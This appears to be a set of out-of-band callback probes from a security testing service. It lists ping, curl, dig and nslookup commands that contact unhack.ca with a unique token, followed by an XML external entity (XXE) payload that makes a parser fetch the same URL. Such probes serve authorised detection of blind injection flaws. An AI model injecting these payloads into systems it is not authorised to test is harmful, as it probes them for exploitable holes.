$ ping -c1 -p 00ef7bac7f7349bd9ba9ae9e60adb800 unhack.ca
 

$ curl http://unhack.ca/p/ef7bac7f7349bd9ba9ae9e60adb8
 

$ dig ef7bac7f7349bd9ba9ae9e60adb8 @unhack.ca
 

$ dig ef7bac7f7349bd9ba9ae9e60adb8.ns.unhack.ca
 

C:\> nslookup ef7bac7f7349bd9ba9ae9e60adb8 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/ef7bac7f7349bd9ba9ae9e60adb8">]>
    <foo>&xxe;</foo>